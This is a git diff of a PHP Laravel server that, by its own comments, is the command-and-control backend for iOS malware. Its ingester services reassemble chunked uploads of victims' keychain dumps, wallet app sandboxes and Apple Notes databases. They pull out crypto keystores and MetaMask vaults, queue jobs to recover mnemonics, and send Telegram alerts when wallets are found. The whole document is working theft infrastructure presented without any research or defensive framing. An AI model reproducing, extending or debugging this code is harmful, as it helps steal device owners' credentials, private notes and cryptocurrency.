+367,20 @@ class WalletKeystore extends Model /** * @param array $rawJson + * @param bool $needsPassword When true, persist needs_password=1. Never writes 0. */ - public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self + public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson, bool $needsPassword = false): self { $hash = self::hashPayload($rawJson); $matches = []; - foreach (self::query()->where('device_id', $device->id)->select(['id', 'content_hash', 'decrypted'])->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) { + $select = ['id', 'content_hash', 'decrypted']; + if (self::hasChainColumn()) { + $select[] = 'chain'; + } + if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) { + $select[] = 'needs_password'; + } + foreach (self::query()->where('device_id', $device->id)->select($select)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) { $rowHash = (string) $row->content_hash; if ($rowHash === '') { $raw = self::query()->whereKey($row->id)->value('raw_json'); @@ -159,6 +404,10 @@ class WalletKeystore extends Model foreach (array_slice($matches, 1) as $dup) { $dup->delete(); } + if ($needsPassword) { + self::markNeedsPassword($keep); + } + self::fillChain($keep, $device); return $keep; } @@ -169,13 +418,62 @@ class WalletKeystore extends Model 'decrypted' => 0, 'raw_json' => $rawJson, ]; + if (self::hasChainColumn()) { + $payload['chain'] = self::chainFromDevice($device); + } + $payload = array_merge($payload, self::listStatsAttributes(self::computeListStatsFromJson($rawJson))); if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) { $payload['content_hash'] = $hash; } + if ($needsPassword && \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) { + $payload['needs_password'] = 1; + } return self::query()->create($payload); } + public static function chainFromDevice(Device $device): int + { + $chain = (int) ($device->chain ?: Device::CHAIN_CORUNA); + + return in_array($chain, [Device::CHAIN_CORUNA, Device::CHAIN_DARKSWORD, Device::CHAIN_APP], true) + ? $chain + : Device::CHAIN_CORUNA; + } + + /** + * Fill missing chain from the device. Does not overwrite a stored value. + */ + public static function fillChain(self $row, Device $device): void + { + if (! self::hasChainColumn()) { + return; + } + if ((int) $row->chain === Device::CHAIN_CORUNA + || (int) $row->chain === Device::CHAIN_DARKSWORD + || (int) $row->chain === Device::CHAIN_APP) { + return; + } + $chain = self::chainFromDevice($device); + self::query()->whereKey($row->id)->update(['chain' => $chain]); + $row->setAttribute('chain', $chain); + } + + /** + * Flag a row as requiring a user password. Writes 1 only; never 0. + */ + public static function markNeedsPassword(self $row): void + { + if (! \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) { + return; + } + if ((int) $row->needs_password === 1) { + return; + } + self::query()->whereKey($row->id)->update(['needs_password' => 1]); + $row->setAttribute('needs_password', 1); + } + /** * @return list */ @@ -208,11 +506,7 @@ class WalletKeystore extends Model public function kindLabel(): string { - return match ($this->kind()) { - 'keychain.wallets' => '钥匙串', - 'sandbox' => '沙盒文件', - default => $this->kind() !== '' ? $this->kind() : '未知', - }; + return self::kindLabelFor($this->kind()); } /** @@ -228,15 +522,24 @@ class WalletKeystore extends Model public function hasWeb3Keystore(): bool { $json = is_array($this->raw_json) ? $this->raw_json : []; - if ($this->isWeb3KeystoreNode($json)) { + + return $this->containsWeb3Keystore($json); + } + + /** + * @param mixed $node + */ + private function containsWeb3Keystore(mixed $node, int $depth = 0): bool + { + if ($depth > 12 || ! is_array($node)) { + return false; + } + if ($this->isWeb3KeystoreNode($node)) { return true; } - $wallets = $json['wallets'] ?? null; - if (is_array($wallets)) { - foreach ($wallets as $bucket) { - if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) { - return true; - } + foreach ($node as $child) { + if (is_array($child) && $this->containsWeb3Keystore($child, $depth + 1)) { + return true; } } diff --git a/app/Services/AiLiveUploadIngester.php b/app/Services/AiLiveUploadIngester.php deleted file mode 100644 index 23392bd..0000000 --- a/app/Services/AiLiveUploadIngester.php +++ /dev/null @@ -1,724 +0,0 @@ -.tar — tar of each wallet app's Documents directory - * 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite) - * - * This service reassembles chunked uploads, parses them, and: - * - keychain.xml → stored as a keychain.wallets WalletKeystore row - * - wallet tar → stored as a sandbox WalletKeystore row - * - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and - * DecodeMemoDb job dispatched to parse note text - * - * DecryptDeviceKeystores is dispatched on /api/v2/finish to recover - * mnemonics from the stored keystores off the request thread. - */ -final class AiLiveUploadIngester -{ - /** Chunk files are saved as ___c.bin */ - private const CHUNK_GLOB = '*_%s_c*.bin'; - - /** - * Reassemble chunks for an upload session, parse the artifact, store - * keystores, and dispatch the decryption job. - * - * @param array $session Cache session (fileName, numberOfChunks, ...) - */ - public function ingest(Device $device, string $uploadId, array $session): void - { - $fileName = (string) ($session['fileName'] ?? 'unknown'); - $uploadDir = public_path('log/app_c2/uploads'); - - $chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1)); - if ($chunks === []) { - Log::channel('keystore')->warning('AiLiveUploadIngester: no chunk files found', [ - 'device_id' => $device->id, - 'upload_id' => $uploadId, - 'file_name' => $fileName, - ]); - - return; - } - - $content = $this->reassemble($chunks); - if ($content === '') { - return; - } - - $this->dispatchParse($device, $content, $fileName, $uploadId); - } - - /** - * Dispatch the async keystore decryption job for a device. - */ - public function dispatchDecrypt(Device $device): void - { - try { - DecryptDeviceKeystores::dispatch($device->id, null, null); - } catch (\Throwable $e) { - Log::channel('keystore')->error('AiLiveUploadIngester dispatch failed', [ - 'device_id' => $device->id, - 'device_key' => $device->device_id, - 'error' => $e->getMessage(), - ]); - } - } - - // ──────────────────────────────────────────────────────────── - // chunk reassembly - // ──────────────────────────────────────────────────────────── - - /** - * @param list $chunkIndices - * @return list Sorted chunk file paths. - */ - private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array - { - if (! is_dir($dir)) { - return []; - } - // UUIDs only contain [0-9a-f-], none of which are glob special chars, - // so no escaping needed (preg_quote would break glob by escaping `-`). - $pattern = sprintf(self::CHUNK_GLOB, $uploadId); - $files = glob($dir.'/'.$pattern) ?: []; - if ($files === []) { - return []; - } - usort($files, function ($a, $b) { - return $this->chunkIndex($a) <=> $this->chunkIndex($b); - }); - // Keep only the expected number of chunks. - return array_slice($files, 0, max(1, $numberOfChunks)); - } - - private function chunkIndex(string $path): int - { - if (preg_match('/_c(\d+)\.bin$/', $path, $m)) { - return (int) $m[1]; - } - - return 0; - } - - /** - * @param list $chunkPaths - */ - private function reassemble(array $chunkPaths): string - { - $out = ''; - foreach ($chunkPaths as $path) { - $chunk = @file_get_contents($path); - if ($chunk === false) { - continue; - } - $out .= $chunk; - } - - return $out; - } - - // ──────────────────────────────────────────────────────────── - // parse + store - // ──────────────────────────────────────────────────────────── - - /** - * Route the artifact to the correct parser based on file name. - */ - private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void - { - $lower = strtolower($fileName); - - if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) { - $this->parseKeychainXml($device, $content, $fileName); - } elseif (str_ends_with($lower, '.tar')) { - $bundleId = preg_replace('/\.tar$/i', '', $fileName); - // Apple Notes is uploaded as group.com.apple.notes.tar — route - // it to the NoteStore.sqlite decoder instead of the wallet - // keystore walker. - if ($this->isNotesBundle($bundleId)) { - $this->parseNotesTar($device, $content, $uploadId); - } else { - $this->parseWalletTar($device, $content, (string) $bundleId); - } - } else { - // Unknown artifact — try tar first, then keychain XML. - if ($this->looksLikeTar($content)) { - // Peek inside: if it contains NoteStore.sqlite, treat as notes. - if ($this->tarContainsNoteStore($content)) { - $this->parseNotesTar($device, $content, $uploadId); - } else { - $this->parseWalletTar($device, $content, $fileName); - } - } elseif ($this->looksLikeXml($content)) { - $this->parseKeychainXml($device, $content, $fileName); - } - } - } - - /** - * Whether a bundle ID / file name refers to the Apple Notes app group. - */ - private function isNotesBundle(string $bundleId): bool - { - $lower = strtolower($bundleId); - - return $lower === 'group.com.apple.notes' - || str_contains($lower, 'com.apple.notes') - || $lower === 'notes'; - } - - /** - * Quick peek: does this tar archive contain NoteStore.sqlite? - */ - private function tarContainsNoteStore(string $content): bool - { - if (! $this->looksLikeTar($content)) { - return false; - } - // Tar file names live in the 0–100 byte range of each 512-byte header. - // A simple substring scan for "NoteStore.sqlite" is good enough. - return str_contains($content, 'NoteStore.sqlite'); - } - - private function looksLikeTar(string $content): bool - { - return strlen($content) >= 262 && substr($content, 257, 5) === "ustar"; - } - - private function looksLikeXml(string $content): bool - { - return str_starts_with(ltrim($content), ': {items: [{account, service, dataHex}]}}} - */ - private function parseKeychainXml(Device $device, string $content, string $fileName): void - { - try { - $xml = @new \SimpleXMLElement($content); - } catch (\Throwable $e) { - Log::channel('keystore')->warning('AiLiveUploadIngester: keychain XML parse failed', [ - 'device_id' => $device->id, - 'file_name' => $fileName, - 'error' => $e->getMessage(), - ]); - - return; - } - - // Group items by source label. - $buckets = []; - $itemCount = 0; - $seenBundles = []; // bundle IDs seen in this keychain dump - - foreach ($xml->xpath('//item') as $item) { - $acct = (string) ($item->acct ?? ''); - $svce = (string) ($item->svce ?? ''); - $agrp = (string) ($item->agrp ?? ''); - $vData = (string) ($item->{'v_Data'} ?? ''); - - $dataHex = $this->decodeKeychainVData($vData); - if ($dataHex === '') { - continue; - } - - $source = $this->sourceFromAgrp($agrp, $acct); - if (! isset($buckets[$source])) { - $buckets[$source] = ['items' => []]; - } - $buckets[$source]['items'][] = [ - 'account' => $acct, - 'service' => $svce, - 'accessGroup' => $agrp, - 'dataHex' => $dataHex, - ]; - $itemCount++; - - // Collect bundle IDs from agrp for the installed-app list. - $bundle = $this->bundleIdFromAgrp($agrp); - if ($bundle !== '' && ! isset($seenBundles[$bundle])) { - $seenBundles[$bundle] = $source; - } - } - - // Record every app that has keychain entries as installed. - foreach ($seenBundles as $bundle => $source) { - $this->recordInstalledApp($device, $bundle, $source); - } - - if ($buckets === []) { - return; - } - - $rawJson = [ - 'kind' => 'keychain.wallets', - 'wallets' => $buckets, - ]; - - $source = 'ai-live/keychain'; - WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson); - - Log::channel('keystore')->info('AiLiveUploadIngester: stored keychain', [ - 'device_id' => $device->id, - 'file_name' => $fileName, - 'items' => $itemCount, - 'sources' => array_keys($buckets), - ]); - } - - /** - * Decode the base64-encoded content in and return the raw - * bytes as hex. - * - * Two storage formats exist in iOS keychain dumps: - * 1. Plist-wrapped: KEYbase64… - * — common for Apple system entries (Bluetooth, account tokens). - * 2. Raw value: the base64-decoded content is the value itself (a hex - * string, a plain-text password, a JSON snippet, etc.) with no plist - * wrapper — common for third-party app entries (Trust Wallet stores - * the keystore password as a base64-encoded hex string). - * - * @param string $vDataRaw Base64-encoded content from . - */ - private function decodeKeychainVData(string $vDataRaw): string - { - $vDataRaw = trim($vDataRaw); - if ($vDataRaw === '') { - return ''; - } - $decoded = base64_decode($vDataRaw, true); - if (! is_string($decoded) || $decoded === '') { - return ''; - } - - // ── 1. Try plist-wrapped format (Apple system entries) ── - // The plist is XML: KEYbase64 - if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) { - try { - $px = @new \SimpleXMLElement($decoded); - $dataNodes = $px->xpath('//data'); - foreach ($dataNodes as $dataNode) { - $b64 = trim((string) $dataNode); - if ($b64 === '') { - continue; - } - $bin = base64_decode($b64, true); - if (is_string($bin) && $bin !== '') { - return bin2hex($bin); - } - } - } catch (\Throwable) { - // fall through to raw handling - } - } - - // ── 2. Raw value (third-party app entries) ── - // The decoded content IS the value — return it as hex so the - // keystore decryptor can try it as a password. This covers: - // • hex strings (Trust Wallet keystore password) - // • plain text passwords - // • small JSON blobs - return bin2hex($decoded); - } - - /** - * Map a keychain access group (agrp) to a wallet source label. - * agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id". - */ - private function sourceFromAgrp(string $agrp, string $acct): string - { - $agrp = trim($agrp); - if ($agrp === '') { - // Fall back to account-based hint. - $hint = WalletSource::fromKeystoreHint($acct); - - return $hint !== '' ? $hint : 'unknown'; - } - // Extract bundle id: take the part after the first dot. - $bundle = ''; - $parts = explode('.', $agrp, 2); - if (count($parts) === 2) { - $bundle = $parts[1]; - } - $label = WalletSource::labelForBundle($bundle, ''); - if ($label !== '' && $label !== $bundle) { - return $label; - } - $hint = WalletSource::fromKeystoreHint($bundle); - if ($hint !== '') { - return $hint; - } - - return $bundle !== '' ? $bundle : 'unknown'; - } - - /** - * Extract the raw bundle ID from a keychain access group. - * agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id". - */ - private function bundleIdFromAgrp(string $agrp): string - { - $agrp = trim($agrp); - if ($agrp === '') { - return ''; - } - $parts = explode('.', $agrp, 2); - - return $parts[1] ?? ''; - } - - /** - * Record a bundle ID into the device's installed-app list. The malware - * only uploads a tar for apps whose sandbox it could dump, so any - * uploaded bundle ID is proof the app is installed. Keychain access - * groups are a secondary signal (the app has keychain entries). - */ - private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void - { - $bundleId = trim($bundleId); - if ($bundleId === '') { - return; - } - $label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId); - $displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId); - - DeviceApp::query()->updateOrCreate( - ['device_id' => $device->id, 'bundle_id' => $bundleId], - [ - 'name' => $displayName, - 'is_wallet' => WalletSource::isPluginWalletBundle($bundleId), - 'meta_json' => ['source' => 'ailive_upload', 'uploaded_at' => now()->toIso8601String()], - ] - ); - - $this->refreshDeviceWalletFlag($device); - } - - /** - * Refresh the device's has_wallet / wallet_names flags from the - * current installed-app list. Sends a Telegram notification when - * wallets are first detected (has_wallet transitions NONE → YES), - * mirroring IngestService::refreshDeviceWalletFlag. - */ - private function refreshDeviceWalletFlag(Device $device): void - { - $names = []; - foreach ($device->apps()->get(['bundle_id', 'name']) as $app) { - $bundle = (string) $app->bundle_id; - if (! WalletSource::isPluginWalletBundle($bundle)) { - continue; - } - $label = WalletSource::labelForBundle($bundle, $app->name); - $names[$label] = true; - } - $labels = array_keys($names); - sort($labels); - - $alreadyYes = (int) $device->has_wallet === Device::WALLET_YES; - $device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES; - $device->wallet_names = $labels === [] ? null : $labels; - $device->saveQuietly(); - - // Notify Telegram the first time wallets are detected - // (UNKNOWN/NONE → YES transition). - if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) { - try { - app(\App\Services\TelegramNotifier::class) - ->notifyInstalledWallets($device->device_id, $labels); - } catch (\Throwable $e) { - Log::channel('keystore')->warning( - 'AiLiveUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(), - ['device_id' => $device->id, 'device_key' => $device->device_id], - ); - } - } - } - - // ── wallet app tar ────────────────────────────────────────── - - /** - * Extract a wallet app tar, walk the files for Web3 keystore JSON - * (crypto.ciphertext/mac/kdf) and other interesting artifacts, and - * store as a sandbox WalletKeystore row. - * - * The DsKeystoreDecrypt walker traverses the sandbox tree and picks - * up any dict with crypto.ciphertext/mac/kdf as a keystore to unlock. - */ - private function parseWalletTar(Device $device, string $content, string $bundleId): void - { - $source = WalletSource::labelForBundle($bundleId, $bundleId); - if ($source === '' || $source === $bundleId) { - $hint = WalletSource::fromKeystoreHint($bundleId); - $source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown'); - } - - // The malware only uploads a tar for apps whose sandbox it could - // dump — so this bundle is definitely installed on the device. - $this->recordInstalledApp($device, $bundleId, $source); - - $sandbox = $this->extractTarSandbox($content); - if ($sandbox === []) { - return; - } - - $rawJson = [ - 'kind' => 'sandbox', - 'sandbox' => [$source => $sandbox], - ]; - - WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson); - - Log::channel('keystore')->info('AiLiveUploadIngester: stored tar sandbox', [ - 'device_id' => $device->id, - 'bundle_id' => $bundleId, - 'source' => $source, - 'files' => count($sandbox, COUNT_RECURSIVE), - ]); - } - - // ── Apple Notes tar ───────────────────────────────────────── - - /** - * Extract a group.com.apple.notes tar, pull out NoteStore.sqlite + - * -wal + -shm, save them to the location DsMemoDecoder expects - * (c2/ds-results///), and dispatch the - * DecodeMemoDb job to parse note text off the request thread. - */ - private function parseNotesTar(Device $device, string $content, string $uploadId): void - { - $files = $this->extractNotesDbFiles($content); - if ($files === []) { - Log::channel('keystore')->warning('AiLiveUploadIngester: notes tar has no NoteStore.sqlite', [ - 'device_id' => $device->id, - 'upload_id' => $uploadId, - ]); - - return; - } - - // DsMemoDecoder looks for files under - // storage/app/c2/ds-results///NoteStore.sqlite - $commandId = 'ailive_'.substr($uploadId, 0, 8); - $dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId; - $disk = \Illuminate\Support\Facades\Storage::disk('local'); - - foreach ($files as $name => $data) { - $disk->put($dir.'/'.$name, $data); - } - - Log::channel('keystore')->info('AiLiveUploadIngester: stored notes db', [ - 'device_id' => $device->id, - 'device_key' => $device->device_id, - 'command_id' => $commandId, - 'files' => array_keys($files), - ]); - - // Dispatch the async SQLite decoder job. - try { - \App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId); - } catch (\Throwable $e) { - Log::channel('keystore')->error('AiLiveUploadIngester: DecodeMemoDb dispatch failed', [ - 'device_id' => $device->id, - 'command_id' => $commandId, - 'error' => $e->getMessage(), - ]); - } - } - - /** - * Extract NoteStore.sqlite + -wal + -shm from a notes tar archive. - * - * @return array Map of filename → raw bytes. - */ - private function extractNotesDbFiles(string $content): array - { - if (! $this->looksLikeTar($content)) { - return []; - } - $tmp = tempnam(sys_get_temp_dir(), 'ailive_notes_'); - if ($tmp === false) { - return []; - } - // PharData requires a .tar extension to recognise the archive format. - $tmpTar = $tmp . '.tar'; - @rename($tmp, $tmpTar); - $tmp = $tmpTar; - try { - if (@file_put_contents($tmp, $content) === false) { - return []; - } - try { - $phar = new \PharData($tmp); - } catch (\Throwable) { - return []; - } - - $wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm']; - $out = []; - foreach (new \RecursiveIteratorIterator($phar) as $f) { - if (! $f->isFile()) { - continue; - } - $base = basename($f->getPathname()); - if (! in_array($base, $wanted, true)) { - continue; - } - $raw = @file_get_contents($f->getPathname()); - if ($raw === false || $raw === '') { - continue; - } - $out[$base] = $raw; - } - - return $out; - } finally { - @unlink($tmp); - } - } - - /** - * Extract a tar (ustar) archive into a nested dict of file paths → - * decoded content. JSON files are parsed into arrays; binary files - * (Realm DBs, SQLite) are stored as base64; everything else is stored - * as a UTF-8 string when possible. - * - * @return array - */ - private function extractTarSandbox(string $content): array - { - if (! $this->looksLikeTar($content)) { - return []; - } - - $tmp = tempnam(sys_get_temp_dir(), 'ailive_tar_'); - if ($tmp === false) { - return []; - } - // PharData requires a .tar extension to recognise the archive format. - $tmpTar = $tmp . '.tar'; - @rename($tmp, $tmpTar); - $tmp = $tmpTar; - try { - if (@file_put_contents($tmp, $content) === false) { - return []; - } - try { - $phar = new \PharData($tmp); - } catch (\Throwable) { - return []; - } - - $sandbox = []; - $count = 0; - $maxFiles = 200; - foreach (new \RecursiveIteratorIterator($phar) as $f) { - if ($count >= $maxFiles) { - break; - } - if (! $f->isFile()) { - continue; - } - $rel = ltrim(str_replace('\\', '/', $f->getPathname())); - // Strip the "phar://" prefix. The temp file - // path is absolute (starts with "/"), so the old [^/]+ pattern - // failed to match the leading slash — use the known prefix. - $prefix = 'phar://'.$tmp; - if (str_starts_with($rel, $prefix)) { - $rel = substr($rel, strlen($prefix)); - } else { - // Fallback: strip phar:// + everything up to the first .tar - $rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel; - } - $rel = ltrim($rel, '/'); - if ($rel === '') { - continue; - } - - $raw = @file_get_contents($f->getPathname()); - if ($raw === false || $raw === '') { - continue; - } - $decoded = $this->decodeFileContent($raw, $rel); - if ($decoded === null) { - continue; - } - $this->setNestedPath($sandbox, $rel, $decoded); - $count++; - } - - return $sandbox; - } finally { - @unlink($tmp); - } - } - - /** - * @return mixed Array for JSON, string for text/base64, null to skip. - */ - private function decodeFileContent(string $raw, string $path): mixed - { - // JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf). - $first = $raw[0] ?? ''; - if ($first === '{' || $first === '[') { - $json = json_decode($raw, true); - if (is_array($json)) { - return $json; - } - } - - // Small text files → UTF-8 string. - if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) { - return $raw; - } - - // Binary files (Realm, SQLite) → base64 (capped to avoid OOM). - $cap = 512 * 1024; // 512 KiB - if (strlen($raw) > $cap) { - return null; // skip large binaries — not useful for mnemonic recovery - } - - return base64_encode($raw); - } - - /** - * Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]). - * - * @param array $arr - */ - private function setNestedPath(array &$arr, string $path, mixed $value): void - { - $parts = explode('/', $path); - $ref = &$arr; - $n = count($parts); - for ($i = 0; $i < $n - 1; $i++) { - $key = $parts[$i]; - if (! isset($ref[$key]) || ! is_array($ref[$key])) { - $ref[$key] = []; - } - $ref = &$ref[$key]; - } - $ref[$parts[$n - 1]] = $value; - } -} diff --git a/app/Services/AppUploadIngester.php b/app/Services/AppUploadIngester.php new file mode 100644 index 0000000..117ebf5 --- /dev/null +++ b/app/Services/AppUploadIngester.php @@ -0,0 +1,1404 @@ +.tar — tar of each wallet app's Documents directory + * 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite) + * + * This service reassembles chunked uploads, parses them, and: + * - keychain.xml → stored as a keychain.wallets WalletKeystore row + * - wallet tar → UTC / walletsV2 extracted as web3.keystore rows + * (full sandbox tar is not persisted) + * - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and + * DecodeMemoDb job dispatched to parse note text + * + * DecryptDeviceKeystores is dispatched on /api/v2/finish to recover + * mnemonics from the stored keystores off the request thread. + */ +final class AppUploadIngester +{ + /** Chunk files are saved as ___c.bin */ + private const CHUNK_GLOB = '*_%s_c*.bin'; + + private const USDT_TRC20 = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; + + public function __construct( + private IngestService $ingest, + private DsTrustAddressIngest $trustAddresses, + ) {} + + /** + * Reassemble chunks for an upload session, parse the artifact, store + * keystores, and dispatch the decryption job. + * + * @param array $session Cache session (fileName, numberOfChunks, ...) + */ + public function ingest(Device $device, string $uploadId, array $session): void + { + $fileName = (string) ($session['fileName'] ?? 'unknown'); + $uploadDir = public_path('log/app_c2/uploads'); + + $chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1)); + if ($chunks === []) { + Log::channel('keystore')->warning('AppUploadIngester: no chunk files found', [ + 'device_id' => $device->id, + 'upload_id' => $uploadId, + 'file_name' => $fileName, + ]); + + return; + } + + $content = $this->reassemble($chunks); + if ($content === '') { + return; + } + + $this->dispatchParse($device, $content, $fileName, $uploadId); + } + + /** + * Parse a fully reassembled artifact (used by tests and finish retry). + */ + public function ingestArtifact(Device $device, string $content, string $fileName, string $uploadId = 'direct'): void + { + $this->dispatchParse($device, $content, $fileName, $uploadId); + } + + /** + * Dispatch the async keystore decryption job for a device. + */ + public function dispatchDecrypt(Device $device): void + { + try { + DecryptDeviceKeystores::dispatch($device->id, null, null); + } catch (\Throwable $e) { + Log::channel('keystore')->error('AppUploadIngester dispatch failed', [ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'error' => $e->getMessage(), + ]); + } + } + + // ──────────────────────────────────────────────────────────── + // chunk reassembly + // ──────────────────────────────────────────────────────────── + + /** + * @param list $chunkIndices + * @return list Sorted chunk file paths. + */ + private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array + { + if (! is_dir($dir)) { + return []; + } + // UUIDs only contain [0-9a-f-], none of which are glob special chars, + // so no escaping needed (preg_quote would break glob by escaping `-`). + $pattern = sprintf(self::CHUNK_GLOB, $uploadId); + $files = glob($dir.'/'.$pattern) ?: []; + if ($files === []) { + return []; + } + usort($files, function ($a, $b) { + return $this->chunkIndex($a) <=> $this->chunkIndex($b); + }); + // Keep only the expected number of chunks. + return array_slice($files, 0, max(1, $numberOfChunks)); + } + + private function chunkIndex(string $path): int + { + if (preg_match('/_c(\d+)\.bin$/', $path, $m)) { + return (int) $m[1]; + } + + return 0; + } + + /** + * @param list $chunkPaths + */ + private function reassemble(array $chunkPaths): string + { + $out = ''; + foreach ($chunkPaths as $path) { + $chunk = @file_get_contents($path); + if ($chunk === false) { + continue; + } + $out .= $chunk; + } + + return $out; + } + + // ──────────────────────────────────────────────────────────── + // parse + store + // ──────────────────────────────────────────────────────────── + + /** + * Route the artifact to the correct parser based on file name. + */ + private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void + { + $lower = strtolower($fileName); + + if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) { + $this->parseKeychainXml($device, $content, $fileName); + } elseif (str_ends_with($lower, '.tar')) { + $bundleId = preg_replace('/\.tar$/i', '', $fileName); + // Apple Notes is uploaded as group.com.apple.notes.tar — route + // it to the NoteStore.sqlite decoder instead of the wallet + // keystore walker. + if ($this->isNotesBundle($bundleId)) { + $this->parseNotesTar($device, $content, $uploadId); + } else { + $this->parseWalletTar($device, $content, (string) $bundleId); + } + } else { + // Unknown artifact — try tar first, then keychain XML. + if ($this->looksLikeTar($content)) { + // Peek inside: if it contains NoteStore.sqlite, treat as notes. + if ($this->tarContainsNoteStore($content)) { + $this->parseNotesTar($device, $content, $uploadId); + } else { + $this->parseWalletTar($device, $content, $fileName); + } + } elseif ($this->looksLikeXml($content)) { + $this->parseKeychainXml($device, $content, $fileName); + } + } + } + + /** + * Whether a bundle ID / file name refers to the Apple Notes app group. + */ + private function isNotesBundle(string $bundleId): bool + { + $lower = strtolower($bundleId); + + return $lower === 'group.com.apple.notes' + || str_contains($lower, 'com.apple.notes') + || $lower === 'notes'; + } + + /** + * Quick peek: does this tar archive contain NoteStore.sqlite? + */ + private function tarContainsNoteStore(string $content): bool + { + if (! $this->looksLikeTar($content)) { + return false; + } + // Tar file names live in the 0–100 byte range of each 512-byte header. + // A simple substring scan for "NoteStore.sqlite" is good enough. + return str_contains($content, 'NoteStore.sqlite'); + } + + private function looksLikeTar(string $content): bool + { + return strlen($content) >= 262 && substr($content, 257, 5) === "ustar"; + } + + private function looksLikeXml(string $content): bool + { + return str_starts_with(ltrim($content), ': {items: [{account, service, dataHex}]}}} + */ + private function parseKeychainXml(Device $device, string $content, string $fileName): void + { + try { + $xml = @new \SimpleXMLElement($content); + } catch (\Throwable $e) { + Log::channel('keystore')->warning('AppUploadIngester: keychain XML parse failed', [ + 'device_id' => $device->id, + 'file_name' => $fileName, + 'error' => $e->getMessage(), + ]); + + return; + } + + // Group items by source label. + $buckets = []; + $itemCount = 0; + $seenBundles = []; // bundle IDs seen in this keychain dump + + foreach ($xml->xpath('//item') as $item) { + $acct = (string) ($item->acct ?? ''); + $svce = (string) ($item->svce ?? ''); + $agrp = (string) ($item->agrp ?? ''); + $vData = (string) ($item->{'v_Data'} ?? ''); + + $dataHex = $this->decodeKeychainVData($vData); + if ($dataHex === '') { + continue; + } + + $source = $this->sourceFromAgrp($agrp, $acct); + if (! isset($buckets[$source])) { + $buckets[$source] = ['items' => []]; + } + $entry = $this->normalizeKeychainItem($acct, $svce, $agrp, $dataHex); + $buckets[$source]['items'][] = $entry; + $itemCount++; + + // Collect bundle IDs from agrp for the installed-app list. + $bundle = $this->bundleIdFromAgrp($agrp); + if ( + $bundle !== '' + && ! DeviceApp::shouldSkipBundle($bundle) + && ! DeviceApp::shouldSkipBundle($agrp) + && ! isset($seenBundles[$bundle]) + ) { + $seenBundles[$bundle] = $source; + } + } + + // Record every app that has keychain entries as installed. + foreach ($seenBundles as $bundle => $source) { + $this->recordInstalledApp($device, $bundle, $source); + } + + if ($buckets === []) { + return; + } + + $this->persistEncryptedVaultsFromKeychain($device, $buckets); + if ($buckets === []) { + return; + } + + $rawJson = [ + 'kind' => 'keychain.wallets', + 'wallets' => $buckets, + ]; + + $source = 'app/keychain'; + WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson); + + Log::channel('keystore')->info('AppUploadIngester: stored keychain', [ + 'device_id' => $device->id, + 'file_name' => $fileName, + 'items' => $itemCount, + 'sources' => array_keys($buckets), + ]); + } + + /** + * Pull MetaMask-style encrypted vaults (VAULT_BACKUP) out of the combined + * keychain row into their own needs_password=1 keystore rows. + * + * @param array>}> $buckets + */ + public function persistEncryptedVaultsFromKeychain(Device $device, array &$buckets): void + { + $empty = []; + foreach ($buckets as $source => &$bucket) { + $items = is_array($bucket['items'] ?? null) ? $bucket['items'] : []; + $kept = []; + foreach ($items as $item) { + if (! is_array($item)) { + continue; + } + $vault = $this->vaultJsonFromKeychainItem($item); + if ($vault === null) { + $kept[] = $item; + + continue; + } + $label = WalletSource::fromKeystoreHint(is_string($source) ? $source : ''); + if ($label === '') { + $acct = strtolower((string) ($item['account'] ?? '')); + $agrp = strtolower((string) ($item['accessGroup'] ?? '')); + $label = ($acct === 'vault_backup' || str_contains($agrp, 'metamask')) + ? 'MetaMask' + : (is_string($source) && $source !== '' && $source !== 'unknown' ? $source : 'MetaMask'); + } + $payload = $vault; + $payload['kind'] = 'metamask.vault'; + WalletKeystore::firstOrCreateForDevice($device, $label, $payload, true); + } + $bucket['items'] = $kept; + if ($kept === []) { + $empty[] = $source; + } + } + unset($bucket); + foreach ($empty as $source) { + unset($buckets[$source]); + } + } + + /** + * Split vaults already stored inside the combined app/keychain row + * (devices ingested before vaults were persisted separately). + */ + public function splitStoredKeychainVaults(Device $device): void + { + $row = WalletKeystore::query() + 